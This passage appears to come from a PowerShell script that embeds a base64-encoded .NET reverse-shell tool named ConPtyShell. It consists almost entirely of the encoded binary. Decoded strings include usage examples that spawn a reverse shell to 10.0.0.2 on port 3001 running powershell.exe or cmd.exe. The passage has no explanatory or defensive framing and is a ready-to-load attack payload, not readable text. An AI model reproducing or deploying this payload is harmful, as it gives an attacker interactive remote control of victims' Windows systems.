GMAbwBsAHMAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABDAG8AbABzACAAcwBpAHoAZQAgAGYAbwByACAAdABoAGUAIABjAG8AbgBzAG8AbABlAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEQAZQBmAGEAdQBsAHQAOgAgACIAOAAwACIADQAKACAAIAAgACAAWwBjAG8AbQBtAGEAbgBkAGwAaQBuAGUAXQAgACAAIAAgACAAIAAgACAAIAAgACAAVABoAGUAIABjAG8AbQBtAGEAbgBkAGwAaQBuAGUAIABvAGYAIAB0AGgAZQAgAHAAcgBvAGMAZQBzAHMAIAB0AGgAYQB0ACAAeQBvAHUAIABhAHIAZQAgAGcAbwBpAG4AZwAgAHQAbwAgAGkAbgB0AGUAcgBhAGMAdAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABEAGUAZgBhAHUAbAB0ADoAIAAiAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgBFAHgAYQBtAHAAbABlAHMAOgANAAoAIAAgACAAIABTAHAAYQB3AG4AIABhACAAcgBlAHYAZQByAHMAZQAgAHMAaABlAGwAbAANAAoAIAAgACAAIAAgACAAIAAgAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAuAGUAeABlACAAMQAwAC4AMAAuADAALgAyACAAMwAwADAAMQANAAoAIAAgACAAIAANAAoAIAAgACAAIABTAHAAYQB3AG4AIABhACAAcgBlAHYAZQByAHMAZQAgAHMAaABlAGwAbAAgAHcAaQB0AGgAIABzAHAAZQBjAGkAZgBpAGMAIAByAG8AdwBzACAAYQBuAGQAIABjAG8AbABzACAAcwBpAHoAZQANAAoAIAAgACAAIAAgACAAIAAgAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAuAGUAeABlACAAMQAwAC4AMAAuADAALgAyACAAMwAwADAAMQAgA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AAwAC4AMAAuADAALgAwAAAAOAAIAAEAQQBzAHMAZQBtAGIAbAB5ACAAVgBlAHIAcwBpAG8AbgAAADAALgAwAC4AMAAuADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAAwAAAAQPQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" + $ConPtyShellBase64 = 